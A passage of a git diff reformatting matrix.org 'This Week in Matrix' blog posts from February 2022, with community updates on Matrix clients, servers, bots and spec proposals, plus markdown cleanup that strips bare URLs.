desynced memberlist and stale display names. -> +> > **In Labs (Enable labs features in settings on develop.element.io or Nightly)** +> > * Threads: The MSC is available here [MSC3440](https://github.com/matrix-org/matrix-doc/pull/3440) [J. Ryan Stinnett](https://matrix.to/#/@jryans:matrix.org) announces > Thanks to everyone who tested the maximised widgets feature which was recently added to Element Web. It received a sudden burst of attention as part of the FOSDEM conference. 😄 This week we've been fine tuning the feature to ensure it works for more workflows, and we've also cleaned up various associated widget bugs. In particular, in the develop version of Element Web, the pin and maximise actions are more consistent accessible, so you can toggle between pinned and maximised if e.g. you're in a conference room and temporarily want the stream widget to be larger while still having access to the chat timeline. -> +> > Next week we'll be focusing more on our Matrix-native collaborative document plans. ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -209,11 +225,12 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi [Doug](https://matrix.to/#/@douge:matrix.org) says -> * The next update of iOS (1.8.0) will have improved emoji reactions and location sharing will be on by default! -> - We will also be releasing fixes to the incorrect scrolling on the timeline and home screen sorting. +> * The next update of iOS (1.8.0) will have improved emoji reactions and location sharing will be on by default! +> * We will also be releasing fixes to the incorrect scrolling on the timeline and home screen sorting. > * Work on a Rust prototype is also underway. We’re excited to learn about the opportunities and advantages of this approach as we start to learn and experiment. -> +> > **In Labs** +> > * From next week Threads will be available in Labs on Mobile. Switch it on and try it out! ### Element Android ([website](https://github.com/vector-im/element-android)) @@ -222,14 +239,15 @@ Secure and independent communication for Android, connected via Matrix. Come tal [adam](https://matrix.to/#/@ouchadam:matrix.org) reports -> * This version of the Android app (1.4.0) includes message bubbles and location sharing! +> * This version of the Android app (1.4.0) includes message bubbles and location sharing! > * Also, notifications are back online! Some of our users were experiencing intermittent notifications when connected to wifi, but ‘tis no more. > * We’ve also squashed a bunch of other bugs, our favourites include: -> - Welcoming back some font weights that had disappeared -> - Fixing statuses in the timeline for missed or rejected calls -> - Closing the “Invited to Space” dialog after you invited someone to the Space… -> +> * Welcoming back some font weights that had disappeared +> * Fixing statuses in the timeline for missed or rejected calls +> * Closing the “Invited to Space” dialog after you invited someone to the Space… +> > **In Labs** +> > * Threads have landed in Labs. Switch it on and try it out! ### Beeper ([website](https://www.beeper.com)) @@ -239,13 +257,14 @@ All you chats in one app. [Brad Murray](https://matrix.to/#/@brad:beeper.com) says > Beeper is a universal chat app built on top of Matrix. We've created 12+ open source Matrix bridges and integrated them into an easy to use all-in-one service which does not require setting up your own homeserver. -> +> +> > ![](/blog/img/6dfc818a4f5412d2901ef68270408784fdb251b2.png) -> +> > We’re excited to announce that as of today we are now out of Beta! We have been hard at work and we’re now ready to be sharing Beeper with a lot more people, starting first with the people we’ve built up on our waitlist. -> -> For more details and demos on the current state of Beeper, including our recently rebuilt and relaunched iOS app, check out the update on our blog: https://blog.beeper.com/p/beeper-update-4-out-of-beta or watch the video below. -> +> +> For more details and demos on the current state of Beeper, including our recently rebuilt and relaunched iOS app, check out the update on our blog: or watch the video below. +> > {{ youtube_player(video_id="GXa5ZoFeKzU") }} ## Dept of Non Chat Clients 🎛️ @@ -257,9 +276,9 @@ Matrix Wrench is a web client to tweak Matrix rooms. [ChristianP](https://matrix.to/#/@christianp:vector.modular.im) announces > The new version contains two new features around the Synapse Admin API, making someone a room admin and listing all unencrypted media URLs. -> +> > I've had some good ideas on how to make Matrix Wrench cover more use cases while staying simple for both users and me as a developer. New components allow me to add new API endpoints in as little as 7 lines. So far this only applies to simple endpoints without parameters, like joining and leaving a room, but it can be expanded to more endpoints because of how similar all Matrix endpoints are. Props to the Spec! 🙌 -> +> > Stay tuned for an editable UI coming soon™️. ## Dept of SDKs and Frameworks 🧰 @@ -271,8 +290,9 @@ Multiplatform Kotlin SDK for Matrix [Benedict](https://matrix.to/#/@benedict:imbitbu.de) says > [Trixnity](https://gitlab.com/benkuly/trixnity) is now on [version 1.1.7](https://gitlab.com/benkuly/trixnity/-/releases). Since 1.1.0 we have fixed many bugs and added some improvements and features. Our reference client runs amazingly reliable and fast thanks to Trixnity 🚀 -> +> > Features and improvements: +> > * support presence > * support read receipts > * support push notifications API @@ -287,10 +307,10 @@ Halcyon is an easy to use matrix library inspired by discord.py > Version 1.1.1 released > This was a quick bugfix release for a finding by jeffcasavant, in which joining a room with a predecessor, the bot could crash. Thanks Jeff! -> -> If you missed it last week, I published a template / demo stock reporting bot you can find here: https://github.com/WesR/Halcyon-stock-bot . Short and sweet, this little bot should be a great starting point if your looking into making a bot. Make sure to also checkout the library itself for more examples, and usage information https://github.com/WesR/Halcyon. -> -> I'm always looking for more feedback, and love to see what people are working on. Come hangout with us in the Halcyon room: https://matrix.to/#/#halcyon:blackline.xyz +> +> If you missed it last week, I published a template / demo stock reporting bot you can find here: . Short and sweet, this little bot should be a great starting point if your looking into making a bot. Make sure to also checkout the library itself for more examples, and usage information . +> +> I'm always looking for more feedback, and love to see what people are working on. Come hangout with us in the Halcyon room: ## Dept of Interesting Projects 🛰️ @@ -299,25 +319,25 @@ Halcyon is an easy to use matrix library inspired by discord.py [Felix](https://matrix.to/#/@felix:fachschaften.org) says > We have been using Matrix as a chat solution for the attendees of our biannual conference ([KIF](https://kif.rocks)) and for new students during the introduction week, as well as Pretix to register attendants. Up until now the process to invite attendees to the corresponding Matrix Rooms and Spaces involved some `curl` and `jq` magic as well as manual intervention to connect both. -> +> > We have now replaced said manual process with a Pretix plugin that invites registered attendees to a configurable Matrix Room or Space. This plugin is now available on the [Pretix marketplace](https://marketplace.pretix.eu/products/pretix-matrix-inviter/) or directly from its [repository](https://gitlab.fachschaften.org/kif/pretix-matrix-inviter). ### Gatho [Jake C](https://matrix.to/#/@jake:matrix.gatho.party) announces - -> I'm excited to share a side-project I've been working on for the last ~3 months: Gatho (http://gatho.party) - a web app for hosting small gatherings. -> + +> I'm excited to share a side-project I've been working on for the last ~3 months: Gatho () - a web app for hosting small gatherings. +> > Gatho is perfect as a replacement for Facebook Events for small social gatherings. I'm a 24 year old Australian who recently deleted Facebook - I've used Gatho for a few parties now and the guests have loved it! -> +> > Gatho includes a Matrix bot which, when added to a room, can synchronise RSVP emoji reactions to a linked Gatho event! See [gatho.party/getting-started](https://gatho.party/getting-started) to hear how the Matrix synchronization works. -> +> > You can also create one-click RSVP links to send to your friends - no matter which chat/social app they use! -> +> > It's fully GDPR compliant and multi-region with an EU server and database, and uses NextAuth.js for passwordless authentication. -> +> > The Gatho website and bot is open source (AGPL-3.0) on [Github](https://github.com/gatho-party/gatho-website), PRs and Github issues are very welcome! It's built using Next.js in Typescript. -> +> > I'd love to hear your feedback! Join the Matrix room at [#gatho-events:matrix.gatho.party](https://matrix.to/#/#gatho-events:matrix.gatho.party) ## Dept of Ping 🏓 @@ -331,6 +351,7 @@ Halcyon is an easy to use matrix library inspired by discord.py Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -347,6 +368,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|zehka.net|650.5| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2022/02/2022-02-18-this-week-in-matrix-2022-02-18.md b/content/blog/2022/02/2022-02-18-this-week-in-matrix-2022-02-18.md index 244e19566..d31e8b915 100644 --- a/content/blog/2022/02/2022-02-18-this-week-in-matrix-2022-02-18.md +++ b/content/blog/2022/02/2022-02-18-this-week-in-matrix-2022-02-18.md @@ -20,39 +20,47 @@ image = "http://matrix.org/blog/img/matrix-wordle.png" [TravisR](https://matrix.to/#/@travis:t2l.io) announces > Hello everyone! It's me, not-anoa, here with your weekly spec update. I finally got the scripts to run which means you get a proper update once again (yay). -> -> The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> +> The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> > ## MSC Status -> +> > **MSCs in Final Comment Period:** +> > * [MSC3589: Room version 9 as the default room version](https://github.com/matrix-org/matrix-doc/pull/3589) (merge) > * [MSC3582: Remove m.room.message.feedback](https://github.com/matrix-org/matrix-doc/pull/3582) (merge) -> +> > **New MSCs:** +> > * [\[WIP\] MSC3726: Safer Password-based Authentication with BS-SPEKE](https://github.com/matrix-org/matrix-doc/pull/3726) > * [MSC3725: Content warnings](https://github.com/matrix-org/matrix-doc/pull/3725) > * [MSC3723: Federation /versions](https://github.com/matrix-org/matrix-doc/pull/3723) -> +> > **Closed MSCs:** +> > * [MSC3286: Media spoilers](https://github.com/matrix-org/matrix-doc/pull/3286) +> > ## Spec Core Team -> +> > In terms of Spec Core Team MSC focus for this week, we've been looking at unblocking [MSC3440: Threads](https://github.com/matrix-org/matrix-doc/pull/3440) so it can make a smooth journey into acceptance. This involves quite a lot of work to ensure that the features we're concerned about are addressed, but so far the FCP progress on it is looking good. -> +> > We're also spending a bunch of time working out what room version 10 looks like to try and fix some usability issues with join rules and general maintenance of things like power levels. The hope is that in time for Matrix 1.3 we'll have v10 out (but not made default) for folks to experiment with. +> > ## Random MSC of the week -> +> > Your random MSC is [MSC2974: Widgets: Capabilities re-exchange](https://github.com/matrix-org/matrix-doc/pull/2974). I swear it was actually random and only after running the script exactly once. The MSC is interesting because it allows widgets (a feature working its way into the general spec, slowly) to ask for more permissions when they need them. This ensures the widget doesn't need to ask for everything at startup (which is more likely to mean that it gets rejected), and that it can maintain a clean security state during normal operation. -> +> > One day it'll probably make it into the spec as part of the larger widget movement, but first we need to get widgets into the spec properly. +> > ## The Graph -> +> > Numbers only mean so much, and graphs show progress. Here's the breakdown of MSCs over time: -> +> +> > ![](/blog/img/afdbd6eefcce4b8f6a6449df9bd2ae25403bbade.png) -> +> > ## Of note -> +> > If you look carefully at [the OpenAPI viewer](https://matrix.org/docs/api/#overview), you might notice a dropdown for not-client-server APIs 👀. There's still work to be done to bring on the missing APIs, but this is in a place where it can be experimented with. Thanks to Alexandre Franke for getting this over the line :) ## Dept of Servers 🏢 @@ -64,9 +72,9 @@ Synapse is the reference homeserver for Matrix [Brendan Abolivier](https://matrix.to/#/@babolivier:element.io) reports > This week we've released [Synapse 1.53.0rc1](https://github.com/matrix-org/synapse/releases/tag/v1.53.0rc1), which includes a bunch of new features, improvements, and other niceties... But more on that next week when we release Synapse 1.53.0 🙂 As usual, we're super grateful for anyone that helps us test release candidates by running them with their homeservers! Please report any breakage or feedback in [#synapse:matrix.org](https://matrix.to/#/#synapse:matrix.org) -> -> Apart from this we have been continuing our experimentations with [Poetry](https://python-poetry.org/) to better manage our dependencies in our Python projects after we switched Sydent to it last week. We're already starting to see improvements off the back of this work, such as [automated security PRs](https://github.com/matrix-org/sydent/pull/495) and an opportunity to centralise our automated workflows to better reuse them in our projects (see https://github.com/matrix-org/backend-meta). We look forward to bringing all this goodness to Synapse soon! -> +> +> Apart from this we have been continuing our experimentations with [Poetry](https://python-poetry.org/) to better manage our dependencies in our Python projects after we switched Sydent to it last week. We're already starting to see improvements off the back of this work, such as [automated security PRs](https://github.com/matrix-org/sydent/pull/495) and an opportunity to centralise our automated workflows to better reuse them in our projects (see ). We look forward to bringing all this goodness to Synapse soon! +> > See you next week! 😀 ## Homeserver Deployment 📥️ @@ -88,17 +96,18 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) says > Is using Nheko a bit of a pain on your PinePhone? Do you just want bubbles in your chat app, not raw lines of text? Does Nheko waste too much space on timestamps and other metadata for messages? -> +> > Well, I am assuming Malte was annoyed by that or similar reasons. But in the end, they did spend a lot of effort reorganizing the way Nheko layouts messages so that people can have bubbles. This should make Nheko feel much more at home on the PinePhone and it seems like they are doing even more to make Nheko a great experience on mobile devices! But just look at it yourself: -> +> +> > ![](/blog/img/clBmUlpDyQUmvIfIKSRCJsIb.png) > > If you are scared now and you think: "This is not the Nheko I came to love!", don't worry, all of this is optional. You can play around with the different avatar sizes as well as the bubbles themselves. You can even make Nheko look like it always looked! -> +> > There will be some regressions though. If you want to contribute, it would help a lot if you test those changes and report issues that you find! <3 -> +> > Apart from that, there were also a lot of other bugfixes and cleanups by various contributors. You can also hide events by type now. If you don't want to see stickers or when someone joins a room, just disable that in the room settings! Tastytea implemented that. Long usernames should now also no longer overflow the profile pages and you can reset the state for a single room using the /reset-state /command. This is helpful when updating Nheko to use widgets, but Nheko just threw those events away (or pinned messages or other state events). -> +> > That's all, have a wonderful bubbly day! ### Element ([website](https://element.io)) @@ -108,16 +117,16 @@ Everything related to Element but not strictly bound to a client [kittykat](https://matrix.to/#/@kittykat:matrix.org) reports > Hello and welcome back to another week at Element! -> +> > **Location Sharing** -> -> * As of this week, Location Sharing is now available by default for users on all platforms, except desktop where you can receive but not send locations. +> +> * As of this week, Location Sharing is now available by default for users on all platforms, except desktop where you can receive but not send locations. > * We’re starting work on the next stage, which is to enable live location sharing, and ‘pin dropping’ where you can pick any location on a map to share. -> +> > **Threads** -> -> * Threads are now live in Labs on all Element platforms! -> * Please remember this feature is experimental; let us know your feedback and report any bugs as we continue to improve. +> +> * Threads are now live in Labs on all Element platforms! +> * Please remember this feature is experimental; let us know your feedback and report any bugs as we continue to improve. > * The teams on all platforms are working hard on improving the stability and performance of Threads. ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -135,9 +144,9 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi [kittykat](https://matrix.to/#/@kittykat:matrix.org) announces -> * Along with closing bugs, we’re working hard on adding finesse to our app and removing some of those “papercut” issues that users experience. +> * Along with closing bugs, we’re working hard on adding finesse to our app and removing some of those “papercut” issues that users experience. > * Keep your eyes peeled for updates and let us know what you think! -> * Our first time user experience is being updated also. We’ve introduced new splash screens to help introduce Element. Don’t panic! You can skip straight to “sign-in” if this isn’t for you. +> * Our first time user experience is being updated also. We’ve introduced new splash screens to help introduce Element. Don’t panic! You can skip straight to “sign-in” if this isn’t for you. > * A new spinner is here… While we work on the speed and performance of the app we’ve introduced a new spinner that does not get in your way while you work. ### Element Android ([website](https://github.com/vector-im/element-android)) @@ -146,7 +155,7 @@ Secure and independent communication for Android, connected via Matrix. Come tal [kittykat](https://matrix.to/#/@kittykat:matrix.org) says -> * Bugs and Papercuts… Our app is getting some love from our developer team as we try to reduce confusion and simplify flows throughout the app. +> * Bugs and Papercuts… Our app is getting some love from our developer team as we try to reduce confusion and simplify flows throughout the app. > * Keep an eye out for any small changes and let us know what you think! > * Creating a new account in Element can be intimidating for new users, especially those who aren’t familiar with Matrix. We’re introducing new screens and simplifying our questions so that users can sign up with confidence! > * If you have any feedback, or want to share your thoughts on our first time user experience, get in touch. @@ -159,12 +168,12 @@ Secure and independent communication for Android, connected via Matrix. Come tal [tulir](https://matrix.to/#/@tulir:maunium.net) says > I wrote a small web app thing that can download, decrypt and display Matrix media in a browser. The goal is to use it in the Android SMS bridge for sending attachments that are too big for MMS, but it might be useful for other things too. -> +> > Currently it consists of the web frontend, a maubot plugin to generate links, and a small server that stores file metadata (so the URLs just contain the decryption key and a short ID to find the metadata on the server). I'll probably continue working on the exact URL format to make it shorter and to encrypt the metadata, and maybe also add an alternative mode where all info is included in the URL to make the server component optional. -> +> > You can try it out by sending files in an encrypted room with @media:maunium.net. It'll reply with a link like -> -> The code can be found at https://gitlab.com/beeper/media-viewer +> +> The code can be found at ### Cactus Comments ([website](https://cactus.chat)) @@ -173,39 +182,42 @@ Cactus Comments is a federated comment system for the web, based on the Matrix p [Asbjørn](https://matrix.to/#/@asbjorn:olli.ng) says > Cactus Comments is a comment system for the open web, built on Matrix. -> +> > Another small-ish release for the client: [v0.12.0](https://gitlab.com/cactus-comments/cactus-client/-/releases/v0.12.0) -> +> > This update introduces a new UI for the login form. -> +> > Here's the changelog: +> > * Re-structure login form to more clearly separate matrix.to links from direct login. > * Require user id (e.g. `@alice:example.com`) instead of username. Only show homeserver url field if .well-known lookup fails. > * Add top-right "X" button to close login modal. > * Login modal now closes when you press outside it. > * Fix some CSS bugs related to positioning the login form in viewport center. > * Make `LoginForm` a stateful component. -> +> > /ipns/latest.cactus.chat is updated to point to the latest release, so sites linking there should already be using the new version. -> +> > Try out a live demo: [cactus.chat/demo](https://cactus.chat/demo) -> +> > Join our Matrix room: [#cactus:cactus.chat](https://matrix.to/#/#cactus:cactus.chat) ## Dept of Ops 🛠 [f0x](https://matrix.to/#/@f0x:pixie.town) says -> I worked on adapting the [NixOS](https://nixos.org) module for Synapse to support worker deployments. It's a great reproducible deployment method, and super easy to configure. My module is perhaps less quality than the rest of the chain, but it's pretty neat to define your whole Matrix deployment like this: https://git.pixie.town/f0x/nixos/src/branch/synapse-workers/nodes/cosmos/containers/synapse-workers.nix#L60 and have Nix figure out all the systemd units and nginx routes that have to be added -> -> Full Nix code for the module is at https://git.pixie.town/f0x/nixos/src/branch/synapse-workers/common/modules/synapse +> I worked on adapting the [NixOS](https://nixos.org) module for Synapse to support worker deployments. It's a great reproducible deployment method, and super easy to configure. My module is perhaps less quality than the rest of the chain, but it's pretty neat to define your whole Matrix deployment like this: and have Nix figure out all the systemd units and nginx routes that have to be added +> +> Full Nix code for the module is at > pictured is the ping stat for a little test deployment with 8 federation senders :P > +> > ![](/blog/img/3SzWo7cKSCs2pttBib8ZmNjq.png) [Dandellion](https://matrix.to/#/@dandellion:dodsorf.as) dares -> do tell your about publishing my NixOS module for workers in a git repository as well then 👀? https://github.com/dali99/nixos-matrix-modules +> +> do tell your about publishing my NixOS module for workers in a git repository as well then 👀? ### matrix-docker-ansible-deploy ([website](https://github.com/spantaleev/matrix-docker-ansible-deploy)) @@ -224,21 +236,23 @@ Your matrix server on your conditions [Aine](https://matrix.to/#/@aine:etke.cc) reports > 🎉 **Today marks 1 year of the [etke.cc](https://etke.cc)!** 🎉 -> +> > During that year, we did: +> > * Pushed 234 updates and enhancements to the automation framework used as the service core > * Integrated 17 additional components to the matrix stack > * Developed 5 bots and tools to extend matrix capabilities > * Installed 92 new matrix servers > * Helped 172 people and organizations to achieve their goals in the matrix > * Posted 74 updates in the announcements room -> +> > Some history: +> > * the project (not service yet) started on February 12, 2021 > * the first installed server was etke.cc itself (yes, etke.cc homeserver is a customer of etke.cc service from the day 1) > * the second installed server was a chatbot, that uses matrix as a platform to interact with users across different chat networks (Telegram, WhatsApp, Signal, etc.) - one API to rule them all. > * In May 2021 the service was published globally -> +> > #news:etke.cc | [#discussion:etke.cc](https://matrix.to/#/#discussion:etke.cc) ## Dept of Bots 🤖 @@ -250,51 +264,61 @@ An implementation of the popular Wordle game for the Matrix Protocol. [krazykirby99999](https://matrix.to/#/@krazykirby99999:matrix.org) reports > An implementation of the popular Wordle game for the Matrix Protocol. -> +> > Source: [Github Repository](https://github.com/KrazyKirby99999/matrix-wordle) -> +> > Made with [simplematrixbotlib](https://github.com/i10b/simplematrixbotlib) +> > ## Setup -> +> > Install Python 3.8 or higher -> +> > Install python-poetry +> > ```bash > python -m pip install poetry > ``` -> +> > Clone Repository +> > ```bash > git clone https://github.com/KrazyKirby99999/matrix-wordle.git > ``` -> +> > Install Dependencies +> > ```bash > cd matrix-wordle > python -m poetry install > ``` -> ## Usage: -> +> +> ## Usage +> > Set environment variables +> > ```bash > HOMESERVER=https://matrix.org > USERNAME=wordle-bot > PASSWORD=password # or ACCESS_TOKEN=syt_... > ``` -> +> > Run main.py +> > ```bash > python -m poetry run python main.py > ``` -> ## Example: +> +> ## Example +> +> > ![](/blog/img/matrix-wordle.png) ## Dept of Interesting Projects 🛰️ [TravisR](https://matrix.to/#/@travis:t2l.io) reports -> After a few years, [matrix-room-directory-server](https://github.com/t2bot/matrix-room-directory-server) has finally gotten an upgrade to modern times. Intended to eventually be a standalone directory server (making vanity aliases possible, but otherwise not functional as a homeserver), it currently only supports overriding the federation `/publicRooms` endpoint. -> +> After a few years, [matrix-room-directory-server](https://github.com/t2bot/matrix-room-directory-server) has finally gotten an upgrade to modern times. Intended to eventually be a standalone directory server (making vanity aliases possible, but otherwise not functional as a homeserver), it currently only supports overriding the federation `/publicRooms` endpoint. +> > The changes made today are to replace the old, broken, appservice-backed approach with a space-backed approach. You can see this in action on t2bot.io: querying the room directory over federation will hit the room directory server, which is watching [#directory:t2bot.io](https://matrix.to/#/#directory:t2bot.io) in the background to determine which rooms to serve. ## Dept of Guides 🧭 @@ -302,14 +326,15 @@ An implementation of the popular Wordle game for the Matrix Protocol. [minecraftchest1](https://matrix.to/#/@minecraftchest1:matrix.org) says > Hay y'all. I created a blog post about how to host element and matrix .well-known files using cloudflare pages that I thought might be worth sharing. Have a few kinks to work out regarding CORS (might need to clean my browsers cache) though. -> https://minecraftchest1.wordpress.com/2022/02/17/hosting-element-and-matrix-well-known-files-with-cloudflare-pages/ -> https://matrix.to/#/#minecraftchest1-blog-matrix-elemet-cloudflare:matrix.org +> +> ## Dept of Ping 🏓 Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -326,6 +351,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|matrix.sp-codes.de|743.5| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2022/02/2022-02-25-this-week-in-matrix-2022-02-25.md b/content/blog/2022/02/2022-02-25-this-week-in-matrix-2022-02-25.md index 069021f5f..c184c4857 100644 --- a/content/blog/2022/02/2022-02-25-this-week-in-matrix-2022-02-25.md +++ b/content/blog/2022/02/2022-02-25-this-week-in-matrix-2022-02-25.md @@ -15,19 +15,22 @@ category = ["This Week in Matrix"] [Andrew Morgan (Element)](https://matrix.to/#/@andrewm:element.io) reports -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > > ## MSC Status > > **Merged MSCs:** +> > * [MSC3589: Room version 9 as the default room version](https://github.com/matrix-org/matrix-doc/pull/3589) > * [MSC3582: Remove m.room.message.feedback](https://github.com/matrix-org/matrix-doc/pull/3582) > > **MSCs in Final Comment Period:** +> > * *No MSCs are in FCP.* > > **New MSCs:** +> > * [MSC3744: Support for flexible authentication](https://github.com/matrix-org/matrix-doc/pull/3744) > * [MSC3743: Standardized error response for unknown endpoints](https://github.com/matrix-org/matrix-doc/pull/3743) > * [MSC3741: Revealing the useful login flows to clients after a soft logout](https://github.com/matrix-org/matrix-doc/pull/3741) @@ -125,7 +128,7 @@ A Matrix-KakaoTalk puppeting bridge. > For anyone brave enough to try it out, its setup steps are very similar to that of any of the [Python-based mautrix bridges](https://docs.mau.fi/bridges/python/setup/index.html) (though Docker is currently unsupported). > > Discussion: [#matrix-appservice-kakaotalk:miscworks.net](https://matrix.to/#/#matrix-appservice-kakaotalk:miscworks.net) -> Issue page: https://src.miscworks.net/fair/matrix-puppeteer-line/issues +> Issue page: ## Dept of Clients 📱 @@ -148,17 +151,21 @@ Everything related to Element but not strictly bound to a client > “Twosday” wasn’t the only exciting thing happening this week. Take a peek at everything else we had going on… > > **Coming to a Poll near you…** +> > * From next week’s releases, you’ll discover two new updates on polls! First off, you’ll be able to edit a poll as long as no one has yet voted on it - which is great if you create a poll and realise you’ve made a small mistake. Even better, there’s now a new type of poll: ‘closed polls’ don’t show any results until the poll has ended, to keep the surprise. > > **Location Sharing** +> > * Location Sharing is now available by default for users on all platforms, except desktop (where you can receive but not send locations). Check it out! > * The next stage is live location sharing and ‘pin dropping’, expect more soon. > > **Threaded Messaging** +> > * Designed to make catching up on rooms easier, and to keep the main timeline as clutter free as possible, Threads are nearly here. > * You can try Threads out on all platforms - you’ll find them in Labs. This feature is experimental; let us know your feedback, and report any bugs as we continue to improve. > > **Community testing** +> > * We will be looking at search result ordering on Web as part of the new search experience at 17:30 UTC / 18:30 CET on Tuesday, 1st of March > * We’re also hoping to test Threads on mobile devices towards the end of the week, join the testing room to get involved! > * Head over to [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org) to hear the latest on all testing sessions! @@ -174,9 +181,10 @@ Secure and independent communication, connected via Matrix. Come talk with us in > * On the process improvement side, we are looking at test coverage and process improvements around PR submission. Don’t be surprised if our developers start a conversation around tests when you submit your next PR 🙂 > * V1.10.5 release candidate is available and release is expected to go out on Monday, 28th February. > * And don’t forget; the new and improved search experience is available. It’s in Beta so turn it on, try it out, and send us your feedback! -> - We will be talking to the community about planned improvements in the next Community Testing Session on Tuesday over in#element-community-testing:matrix.org +> * We will be talking to the community about planned improvements in the next Community Testing Session on Tuesday over in#element-community-testing:matrix.org > > In labs (you can enable labs in settings on develop.element.io or on Nightly): +> > * Improvements to Threads reliability are happening everyday. We’re also making some tweaks to the user experience details, like dragging and dropping files into the Thread panel. ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -210,6 +218,7 @@ A Social Annotation Tool Powered by Matrix > ## Populus-Viewer > > Over at [Populus-Viewer](https://github.com/opentower/populus-viewer), we're continuing to refine the UX, for maximum focus, efficiency and enjoyment. Since last time we've: +> > 1. Reworked the mobile view controls into a sidebar design. > 2. Improved the generation of highlight rectangles. > 3. Made sure that LaTeX and code listings are always displayed nicely @@ -217,9 +226,11 @@ A Social Annotation Tool Powered by Matrix > 5. Added "one-click" links for onboarding new users into a particular server, SSO flow and PDF collection. > > We've also had some bug fixes related to federation, and had some of our first ever (maybe the first on matrix - first in the history of the universe?) federated social annotation sessions. +> > ## Populus-Philarchive > > [Populus-Philarchive](https://opentower.github.io/populus-philarchive/), our proof-of-concept discussion overlay for preprint archives, now incorporates an OAI-PMH harvester, so it can aggregate OAI bibliographic metadata, and use that data for room creation and discovery. The implementation is pretty general, so it should be easy to tweak for any archive that supports OAI-PMH. +> > ## MSC3574 > > [MSC3574 - marking up resources](https://github.com/matrix-org/matrix-doc/pull/3574) got some love this week, as we added a proposal for serializing annotations on matrix that ought to be compatible with the [w3c web annotation data model](https://www.w3.org/TR/annotation-model/). This paves the way for interoperability between the matrix annotation ecosystem and services like hypothes.is, and hopefully will make matrix a compelling option even for institutions where compliance with existing web standards is a must. @@ -233,10 +244,12 @@ E2E encrypted social networking built on Matrix. Safe, private sharing for your [cvwright](https://matrix.to/#/@cvwright:matrix.org) reports > The Circles beta on iOS continues inching toward a public release later this Spring. +> > * This week I added support for infinite scrolling on timelines. (Previously, scrolling the timelines was very clunky -- the user had to manually tap a button to "Load More" every 10-15 posts.) > * Also added a confirmation dialog when the user attempts to leave a group. > > On Android, the prototype is coming along nicely, thanks to the efforts of our new developer Taras: +> > * The login screen works > * Currently working on implementing the timeline of social posts for groups @@ -252,13 +265,13 @@ A widget for moderating with mjolnir. Highly WIP. Use at your own risk! > Due to that, I just started to write one. > It is at the time of writing still fairly young. > -> ## The current features are: +> ## The current features are > > * An overview of the ban list data the user is in (Not for the specific Mjölnir currently. Also requires a user to have joined the list room) > * A quick form to ban a person > * A form to redact someone or a message > -> ## Planned features are: +> ## Planned features are > > * Support for showing MSC1929 information if available > * Writing a patch for Mjölnir, so the widget can know which banlist the bot watches, so only relevant lists show up. @@ -270,11 +283,13 @@ A widget for moderating with mjolnir. Highly WIP. Use at your own risk! > ## Small getting started (it is simple :D) > > To use it, you simply can add it to your Mjölnir Admin room by putting `/addwidget https://moderation_widget.nordgedanken.dev?room_id=$matrix_room_id` (the variable will get replaced automatically) in the message bar and pressing enter. The widget runs entirely client side, so this is not sending any events to my server. If you still are concerned due to the big amount of permissions asked, you can just build it yourself and host it. +> > ## Code and Room > -> Code is at https://github.com/MTRNord/matrix-moderation-widget +> Code is at > Room is at: [#mjolnir-widget:nordgedanken.dev](https://matrix.to/#/#mjolnir-widget:nordgedanken.dev) - +> +> > ![](/blog/img/2ad2037df9755054bd4ef6bc8cecf73a15ef5502.png) ## Dept of SDKs and Frameworks 🧰 @@ -311,7 +326,7 @@ A toolkit for writing commandbots more efficient in rust for matrix. [saces](https://matrix.to/#/@saces:c-base.org) reports -> I did not find a docker container to ease/automate synapse and postgres maintenance, so I started one: https://gitlab.com/mb-saces/synatainer +> I did not find a docker container to ease/automate synapse and postgres maintenance, so I started one: ## Dept of Bots 🤖 @@ -319,7 +334,7 @@ A toolkit for writing commandbots more efficient in rust for matrix. [Paul](https://matrix.to/#/@ptman:kapsi.fi) announces -> I saw an interesting (to me) reMarkable telegram bot somewhere. But I prefer matrix and node.js was more difficult to deploy on embedded. So I wrote a reMarkable matrix bot in Go. https://gitlab.com/ptman/remarkable-matrix +> I saw an interesting (to me) reMarkable telegram bot somewhere. But I prefer matrix and node.js was more difficult to deploy on embedded. So I wrote a reMarkable matrix bot in Go. ### matrix-ukraine-donation-bot @@ -328,26 +343,32 @@ A toolkit for writing commandbots more efficient in rust for matrix. > A Matrix 